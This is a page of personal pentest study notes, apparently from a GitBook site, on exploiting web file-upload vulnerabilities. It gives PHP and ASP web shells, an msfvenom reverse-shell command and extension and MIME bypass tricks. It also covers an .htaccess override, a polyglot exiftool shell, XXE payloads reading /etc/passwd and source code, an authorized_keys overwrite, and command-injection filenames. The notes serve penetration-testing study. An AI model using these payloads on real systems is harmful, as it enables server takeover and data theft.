Pentest Notes
  • 🏠/home/x3m1Sec/.pt-notes
  • 📝Pentest Notes
    • 🔍Information Gathering
    • 📜Protocols and Services
      • DNS Port (53)
      • FTP Port (21)
      • IMAP Ports (143,993)
      • IPMI Port (623)
      • Kerberos Port (88)
      • MSSQL Port (1433)
      • MySQL Port (3306)
      • NFS Ports (111,2049)
      • NetBIOS Ports (137,138,139)
      • Oracle TNS Port (1521)
      • POP3 Port (110)
      • PostgreSQL Port (5432)
      • RDP Port (3389)
      • SMB Ports (139,445)
      • SMTP Port (25)
      • SNMP Ports (161,162)
      • Java RMI Port (1099)
      • LDAP Ports (389,636)
      • Apache Tomcat Ports (8080,8180)
      • Port 123 - NTP
      • RPCBind Ports (111,32771)
      • Email Services
      • Nmap Commands for Port Discovery
    • 🕸️Web Applications
      • Web Attacks
        • Cross Site Scripting (XSS)
        • SQL Injection (SQLi)
        • File Upload Vulnerabilities
        • Insecure Direct Object References (IDOR)
        • OS Command Injection
        • Local File Inclusion (LFI)
        • Remote File Inclusion (RFI)
        • XML External Entities (XXE)
        • HTTP Verb Tampering
        • Sub-domain Enumeration
      • Web Technologies
        • Tomcat
        • CGI Applications
        • WordPress
        • SAP Netweaver
        • Joomla
        • Drupal
        • Gitlab
        • Jenkins
        • Microsoft IIS
        • osTicket
        • PRTG Network Monitor
        • Splunk
      • Fuzzing
    • 🪟Active Directory Pentesting
      • 🔍Initial Enumeration
        • 👤Enumerating Users
      • 🛠️Abusing ACLs/ACEs
      • 🏛️Active Directory Certificate Services (ADCS)
      • 🎭Attacking Kerberos
      • 🐶Bloodhound
      • 🧰Tools
        • 🩸BloodyAD
        • 📦Impacket
        • 🦁Kerbrute
        • 📚LDAPSearch
        • 🧠PowerView.py
    • 🐧Linux Privilege Escalation
      • Linux PrivEsc Summary
      • PriveEsc Checklist
      • Enumerating Attack Vectors
      • Privileged Groups
      • Environment Variables Abuse
      • Capabilities Abuse
      • Programs, Jobs and Services
      • Miscellaneous Techniques
      • Recent CVEs
    • 🪟Windows Privilege Escalation
      • PriveEsc checklist
      • Enumerating Attack Vectors
      • Excessive User Rights Abuse
      • Built-in Groups Abuse
      • File System ACLs
      • Services Hijacking
      • User Account Control (UAC) Bypass
      • Living off the Land
    • 🐛Bug Bounty Hunting
      • Bug Bounty Tools
    • 👾Utilities, Scripts and Payloads
      • Shells and Payloads
      • Metasploit Framework
      • File Transfers
      • Pivoting, Tunneling, Port Forwarding
      • Password Attacks
      • Spawn TTY Shells
  • 🎮CTFs
    • 🟩Hack The Box
      • Linux
        • Easy
          • Busqueda
          • Help
          • Sau
          • Broker
          • Sea
          • Nibbles
          • Codify
          • Cozyhosting
          • Devvortex
          • Irked
          • Keeper
          • Knife
          • Pilgrimage
          • Soccer
          • Sunday
          • Tabby
          • Usage
          • Bashed
          • Analytics
          • Networked
          • Swagshop
          • Pandora
          • OpenAdmin
          • Precious
          • Boardlight
          • Editorial
          • Linkvortex
          • Underpass
        • Medium
          • Monitored
          • Updown
          • Popcorn
          • Jarvis
          • Mentor
          • Poison
          • Solidstate
          • Tartarsauce
          • Nineveh
          • Magic
          • Builder
        • Hard
      • Windows
        • Easy
          • Jerry
          • NetMon
        • Medium
        • Hard
    • 🔴TryHackMe
  • 🎓Road to certification
    • eJPTv2
      • My review
    • CPTS
      • Enumeration
        • Enum Cheklist
        • Initial Enumeration
      • Nmap
        • Nmap Full Flag
        • Protocol Scan
        • Scan-network-with-nmap
      • Attacking Common Applications
        • 1.Content Management Systems (CMS)
          • 1.-Wordpress-discovery-and-enumeration
          • 2.-Attacking-wordpress
          • 3.-Joomla-discovery-and-enumeration
          • 4.-Attacking-joomla
          • 5.-Drupal-discovery-and-enumeration
          • 6.-Attacking-drupal
        • 2. Servlet Containers and Software Development
          • 10.-Attacking-jenkins
          • 7.-Tomcat-discovery-and-enumeration
          • 8.-Attacking-tomcat
          • Attacking Jenkins - Focused Commands & Key Points
        • 3. Infrastructure and Network Monitoring Tools
          • 11.-Aplunk-discovery-and-enumeration
          • 12.-Attacking-splunk
          • 13.Prtg-network-monitor
        • 4. Customer Service Mgmt & Configuration Management
          • 14.-Osticket
          • 15.Gitlab-discovery-and-enumeration
          • 16.-Attacking-gitlab
        • 5. Common Gateway Interfaces
          • 17.-Attacking-tomcat-cgi
          • 18.-Attacking-cgi-applications-shellshock
        • 6. Thick Client Applications
          • 19.-Attacking-thick-client-applications
          • 20.Exploiting-web-vulnerabilities-in-thick-client-applications
        • 7. Miscellaneous Applications
          • 21.-Coldfusion-discovery-and-enumeration
          • ColdFusion Exploitation Guide
          • 23.-IIS-tilde-enumeration
          • 24.Attacking-ldap
          • 25.-Web-mass-assignment-vulnerabilities
          • 26.Attacking-applications-connecting-to-services
          • 27.Other-notable-applications
        • 8. Closing Out
          • 28.Application-hardening
      • Attacking Common Services
        • 1.Protocol-specific-attacks
        • 2.FTP
        • 3.SMB
        • 4.SQL-databases
        • 5.RDP
        • 6.DNS
        • 7.SMTP
      • Active Directory Enumeration & Attacks
        • 0. AD Pentest
          • Quick Guide To AD Pentesting
          • Active Directory: Full Attack Name
          • Active Directory Advanced Concepts
          • Active Directory Delegation
          • Beyond-Active-Directory
        • 1.Initial Enumeration
          • 1.External Recon and Enumeration Principles
          • 1.initial-enumeration-of-the-domain
          • Active-Directory-Basic-Command
        • 2.Sniffing out a Foothold
          • 3. LLMNR-NBT-NS Poisoning - from Linux
          • 4.LLMNR-NBT-NS Poisoning - from Windows
        • 3.Sighting In, Hunting For A User
          • 5.Password Spraying Overview
          • 6.Enumerating & Retrieving Password Policies
          • 7.Password Spraying - Making a Target User List
        • 4.Spray Responsibly
          • 8. Internal Password Spraying - from Linux
          • 9.Internal Password Spraying - from Windows
        • 5.Deeper Down the Rabbit Hole
          • 10. Enumerating Security Controls
          • 11. Credentialed Enumeration - from Linux
          • 12.Credentialed Enumeration - from Windows
          • 13. Living Off the Land
        • 6.Cooking with Fire
          • 14.Kerberoasting - from Linux
          • 15. Kerberoasting - from Windows
          • Kerberoasting Attack Step by Step Guide
          • Kerberoasting Attack Step by Step Guide
        • 7.An ACE in the Hole
          • 16.Access Control List (ACL) Abuse Primer
          • 17. ACL Enumeration
          • 18. ACL Abuse Tactics
          • 19. DCSync
        • 8.Stacking The Deck
          • 20.Privileged Access
          • 21.Kerberos Double Hop Problem
          • 22.Bleeding Edge Vulnerabilities
          • 23.Miscellaneous Misconfigurations
        • 9.Why So Trusting
          • 24.Domain Trusts Primer
          • 25.Attacking Domain Trusts - Child - Parent Trusts - from Windows
          • 26. Attacking Domain Trusts - Child - Parent Trusts - from Linux
        • 10.Breaking Down Boundaries
          • 27.Attacking Domain Trusts - Cross-Forest Trust Abuse - from Windows
          • 28.Attacking Domain Trusts - Cross-Forest Trust Abuse - from Linux
        • 11.Defensive Considerations
          • 29.Hardening-active-directory
          • 30.Additional AD Auditing Techniques
      • Linux Privilege Escalation
        • Linux-hardening
        • Linux-priv-esc-to-quick-check-the-system
        • 1.Information Gathering
          • 1.Environment-enumeration
          • 2.Linux-services-and-internals-enumeration
          • 3.Credential-hunting
        • 2.Environment-based Privilege Escalation
          • 4.Path-abuse
          • 5.Wildcard-abuse
          • 6.Escaping-restricted-shells
        • 3.Permissions-based Privilege Escalation
          • 10.Capabilities
          • 7.-Special-permissions
          • 8.Sudo-rights-abuse
          • 9.Privileged-groups
        • 4.Service-based Privilege Escalation
          • 11.Vulnerable-services
          • 12.Cron-job-abuse
          • LXC Privilege Escalation Techniques
          • 14.-Docker
          • 15.Kubernetes
          • 16.Logrotate
          • 17.Miscellaneous-techniques
        • 5.Linux Internals-based Privilege Escalation
          • 18.Kernel-exploits
          • 19.Shared-libraries
          • 20.Shared-object-hijacking
          • 21.Python-library-hijacking
        • 6.Recent 0-Days
          • 22.Sudo
          • 23.Polkit
          • 24.Dirty-pipe
          • 25.Netfilter
      • Windows Privilege Escalation
        • Priv-Esc
        • 1.Getting the Lay of the Land
          • 1.Situational-awareness
          • 2.Initial-enumeration
          • 3.Communication-with-processes
        • 2.Windows User Privileges
          • 4.windows-privileges-overview
          • 5.Seimpersonate-and-seassignprimarytoken
          • 6.Sedebugprivilege
          • Exploiting SeTakeOwnershipPrivilege
        • 3.Windows Group Privileges
          • 10.DNSadmins
          • 11.Hyper-v-administrators
          • Key Concepts:
          • Key Concepts:
          • 8.Windows-built-in-groups
          • Exploiting Event Log Readers Group for Security Log Access
        • 4.Attacking the OS
          • 14.User-account-control
          • 15.Weak-permissions
          • 16.Kernel-exploits
          • 17.Vulnerable-services
          • 18.DLL-injection
        • 5.Credential Theft
          • 19.Credential-hunting
          • 20.Other-files
          • 21.Further-credential-theft
        • 6.Restricted Environments
          • 22.-Citrix-breakout
        • 7.Additional Techniques
          • 23.Interacting-with-users
          • 24.Pillaging
          • 25.Miscellaneous-techniques
        • 8.Dealing with End of Life Systems
          • Key Points:
          • 27.windows-server
          • 28.windows-desktop-versions
      • Server-side Attacks
        • Server-side-vulnerabilities
      • Web Attacks
        • 1.-HTTP-verb-tampering
        • 2.-Insecure-direct-object-references-idor
        • 3.-XML-external-entity-xxe-injection
        • Web-attacks-to-the-point
      • Web Service & API Attacks
        • web-service-and-api-attacks
      • Command-injections
      • SQL-injection
      • XSS
        • XSS-based Session Hijacking
      • Broken Authentication
      • Login-brute-forcing
      • Password-attacks
      • Password-cracking
      • Session Security Guide
      • File-transfer
      • File-upload-attacks
      • Shells and payloads
      • Upgrading-tty-shell
      • Using-the-metasploit-framework
      • File Inclusion
        • 1.File Disclosure
          • 1.Local-file-inclusion-lfi
          • 2.Basic-bypasses
          • 3.PHP-filters
        • 2.Remote Code Execution
          • 4.PHP-wrappers
          • 5.Remote-file-inclusion-rfi
          • 6.LFI-and-file-uploads
          • 7.LOG-poisoning
        • 3.Automation and Prevention
          • 8.Automated-scanning
          • 9.File-inclusion-prevention
      • Ligolo-ng
      • Pivoting-tunneling-and-port-forwarding
      • TIPS
      • CheatSheet
    • OSCP
      • Preparation
      • Cheatsheets
      • Machine List
  • 📚Resources
    • Cheat Sheets
      • Default Passwords
      • Kerberoast
      • Mimikatz
      • Powerup
    • Hashcat Word lists and Rules
    • Metasploit Modules
    • Misc Snippets
    • GTFOBins
    • LOLBAS
    • WADCOMS
    • Reverse Shell Generator
    • Pentestmonkey Revshell
    • OSINT Tools
    • Weakpass
Powered by GitBook
On this page
  • Introduction
  • How Web Servers handle file requests
  • File Types and Related Attacks
  • Web and Reverse Shells Payloads to Inject
  • Extension Blacklist Bypasses
  • Overriding the server's configuration files
  • Content/Type and Mime/Type Bypass
  • Exploiting File Upload Race Conditions
  • File Uploads to XSS Attack
  • File Upload to SSH Access
  • File Uploads to XXE Attacks
  • Injections in File Names
  • Windows Specific Attacks
  1. Pentest Notes
  2. Web Applications
  3. Web Attacks

File Upload Vulnerabilities

Introduction

File upload vulnerabilities arise when a web server allows users to upload files to its filesystem without sufficiently validating them.

The ability to upload a malicious file can be an issue by itself, as attackers might upload dangerous data on the filesystem. In other cases, an attacker could potentially upload a server-side code file that functions as a web shell, effectively granting them full control over the server.

The impact of this class of vulnerabilities mostly depends on two factors:

  1. Which part of the file is properly validated (e.g. its size, type, contents, ...)

  2. Which restrictions are set on the file after it has effectively been uploaded


How Web Servers handle file requests

Whenever a resource is requested, the web server parses the path in the request to identify the file extension. The server then uses this to determine the type of the file being requested, typically by comparing it to a list of preconfigured mappings between extensions and MIME types. What happens next depends on the file type and the server's configuration.

When requesting a static file, the server will most probably send the file's contents to the client within an HTTP response.

When requesting a dynamic file, there are two cases:

  • If the server is configured to execute files of that type, it will assign variables based on the headers and parameters in the HTTP request before running the script. The resulting output may then be sent to the client in an HTTP response

  • If the server is not configured to execute files of that type, it will generally respond with an error. However, in some cases, the contents of the file may still be served to the client as plain text.

Note:

The Content-Type response header may provide clues as to what kind of file the server thinks it has served.

If this header hasn't been explicitly set by the application code, it normally contains the result of the file extension/MIME type mapping.

If you are lucky enough, you might edit your request's "Accept" header to ask for a specific response content-type, potentially allowing you to still gain code execution!


File Types and Related Attacks

File Types
Potential Attack

HTML, JS, SVG, GIF

XSS

XML, SVG, PDF, PPT, DOC

XXE/SSRF

ZIP, JPG, PNG

DoS


Web and Reverse Shells Payloads to Inject

Web Shell
Description

<?php file_get_contents('/etc/passwd'); ?>

Basic PHP File Read

<?php system('hostname'); ?>

Basic PHP Command Execution

<?php system($_GET['cmd']); ?>

Basic PHP Web Shell

<% eval request('cmd') %>

Basic ASP Web Shell

msfvenom -p php/reverse_php LHOST=OUR_IP LPORT=OUR_PORT -f raw > reverse.php

Generate PHP reverse shell

https://github.com/Arrexel/phpbash

PHP Web Shell

https://github.com/pentestmonkey/php-reverse-shell

PHP Reverse Shell

https://github.com/danielmiessler/SecLists/tree/master/Web-Shells

List of Web Shells and Reverse Shells


Extension Blacklist Bypasses

One of the more obvious ways of preventing users from uploading malicious scripts is to blacklist potentially dangerous file extensions like .php

You might use the following techniques to bypass some basic extension blacklists:

Command
Description

shell.phtml

Uncommon Extension

shell.pHp

Case Manipulation

shell.jpg.php

Double Extension

shell.php.jpg

Reverse Double Extension

%20, %0a, %00, %0d0a, /, .\, ., …

Character Injection - Before/After Extension

Use some alternative extensions that might not be blacklisted

Overriding the server's configuration files

In some cases, you might be able to leverage a file upload vulnerablity to move inside the filesystem and override files. In that case, you can override the server's configuration to allow certain extensions, such as .php

Apache Servers

When dealing with Apache servers, you can write the following directives to the /etc/apache2/apache2.conf file:

LoadModule php_module /usr/lib/apache2/modules/libphp.so
    AddType application/x-httpd-php .php

Alternatively, you can also override the .htaccess file to write the configuration for specific directories.

Info: .htaccess files provide a way to make configuration changes on a per-directory basis. The directives in this file apply to the directory where the file is uploaded and its subdirectories.

If the file upload functionality has blacklisted all php extensions, you can upload a php webshell using the .anything extension. Then, upload a .htaccess file containing the following:

AddType application/x-httpd-php .anything

You will now be able to access the webshell.anything file and gain a PHP webshell!

Notice: you will most probably not be able to access the .htaccess file from the webserver, as direct access to it is typically disabled by the web server

IIS Servers

You can make directory-specific configuration on IIS servers using a web.config file.

For example, in order to enable JSON files to be served to users, you can add the following directives to the previously mentioned file:

<staticContent>
    <mimeMap fileExtension=".json" mimeType="application/json"/>
</staticContent>

You may occasionally find servers that fail to stop you from uploading your own malicious configuration file. In this case, even if the file extension you need is blacklisted, you may be able to trick the server into mapping an arbitrary, custom file extension to an executable MIME type.


Content/Type and Mime/Type Bypass

Modern servers may verify that the contents of the file actually match what is expected.

For example, some properties of specific types of files might be checked: uploading a PHP file when an image is expected might fail because the web server is checking for the dimensions (length and width) of the file, which are not properties of a PHP file, causing the validation mechanism to deny the file upload.

In some other cases, the file's signature (or magic bytes) are checked during the file upload procedure.

A file's signature can be used like a fingerprint or signature to determine whether the contents match the expected type.

For example, JPEG files begin with the bytes FF D8 FF.

Check this link for reference:

Using an image file upload as an example, you might be able to upload a php webshell using a polygot JPEG file containing the payload in its metadata

A polyglot file is a single file that can be interpreted in multiple valid formats, depending on the program or context used to open it.

These files are crafted to contain data for different file types in such a way that various applications can read or interpret it as different formats.

To do that, you can use tools such as ExifTool to add the payload, for example, in the image's comment metadata section:

exiftool -Comment="<?php system($_GET['cmd']); ?>" image.jpg -o polyglot.php

This will craft a file named polyglot.php which has the contents of a JPG file.

If the web server check the file's contents to ensure it is a JPG file, this will bypass such restriction. Otherwise, you will need to add extra work on this payload.


Exploiting File Upload Race Conditions

Some websites' file upload functionalities allow the uploaded file to be uploaded on the filesystem and then remove it if it doesn't pass some validation checks. This kind of behaviour is typical in websites that rely on anti-virus software and the like to check for malware.

This may only take a few milliseconds, but for the short time that the file exists on the server, the attacker can potentially still execute it.

Notice that, if the file is loaded into a temporary directory with a randomized name, it could still be possible for an attacker to exploit a race condition: an example is when the random name is generated using pseudo-random functions like PHP's uniqid(), which could be brute-forced.

To make attacks like this easier, you can try to extend the amount of time taken to process the file, thereby lengthening the window for brute-forcing the directory name. To do that, you can upload a larger file. If it is processed in chunks, you can potentially take advantage of this by creating a malicious file with the payload at the start, followed by a large number of arbitrary padding bytes.

You can check whether a potential file upload race condition is in place by uploading an EICAR file, which is a standard anti-malware test file. If the file is uploaded and deleted from the file system, then it could be possible that an anti-malware check is in place, allowing you to have a short time frame to access your uploaded file.


File Uploads to XSS Attack

There are different cases in which you can gain XSS from file uploads:

  1. Uploading a HTML file containing a script in javascript

  2. Uploading a HTML file containing a link to our server to steal the document cookie

Other cases:

  1. Whenever an application shows an image's metadata after its upload, it is possible to inject a payload inside metadata parameters such as comment or artist by using exiftool:

    • exiftool -Comment=' "><img src=1 onerror=alert(window.origin)>' HTB.jpg

  2. By using SVG images, it's possible to inject a payload with something like:

    • <script type="text/javascript"> alert("window.origin");</script>


File Upload to SSH Access

Suppose you have an Arbitrary File Upload vulnerability where you can also specify the uploaded file's location, whether via a vulnerable filename or a path parameter. Also suppose that you have write access on SSH's authorized_keys file for a local user.

You can gain an SSH shell using the following:

  1. Use ssh-keygen to generate a key named fileup

  2. cat fileup > authorized_keys

  3. Upload the file to /home/username/.ssh/authorized_keys (or /root/.ssh/authorized_keys).

  4. Note that you might need to leverage a path traversal vulnerability to reach these destinations.

  5. Use ssh username@IP -i fileup to gain the SSH shell as username

  6. Notice that SSH might require using chmod 500 fileup to use the -i fileup option


File Uploads to XXE Attacks

  1. [Read /etc/passwd] XXE from SVG images upload by using the following payload:

    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE svg [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
    <svg>&xxe;</svg>
  2. [Exfiltrate PHP Code] XXE from SVG to read source code:

    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE svg [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]> 
    <svg>&xxe;</svg>

Injections in File Names

  • A common file upload attack uses a malicious string for the uploaded file name

  • The filename may get executed or processed if the uploaded file name is reflected on the page.

  • We can try injecting a command in the file name, and if the web application uses the file name within an OS command, it may lead to a command injection attack.

  • Some examples of filenames for this attack:

  1. System Command Execution

    • file$(whoami).jpg

    • filewhoami.jpg

    • file.jpg||whoami

  2. XSS from filename:

    • <script>alert(window.origin);</script>

  3. SQLi from filename:

    • file';select+sleep(5);--.jpg


Windows Specific Attacks

  1. Reserved Characters: such as (|, <, >, *, or ?) are characters for special uses (such as wildcards).

    • If the web application doesn't apply any form of input sanification, it's possible to refer to a file different from the specified one (which does not exist)

    • This behaviour causes an error which may be shown on the web application, potentially showing the upload directory

  2. Windows Reserved Names: can be used to replicate the same behaviour as the reserved characters previously shown. (CON, COM1, LPT1, or NUL)

  3. Windows Filename Convention: it's possible to overwrite a file (or refer to a non-existant file) by using the ~ character to complete the filename

    • Example: HAC~1.TXT → may refer to hackthebox.txt

PreviousSQL Injection (SQLi)NextInsecure Direct Object References (IDOR)

Last updated 2 months ago

You can download the EICAR file signature

Reference:

📝
🕸️
List of File Signatures/Magic Bytes
here
https://en.wikipedia.org/wiki/8.3_filename
List of PHP Extensions
List of ASP Extensions
List of Web Extensions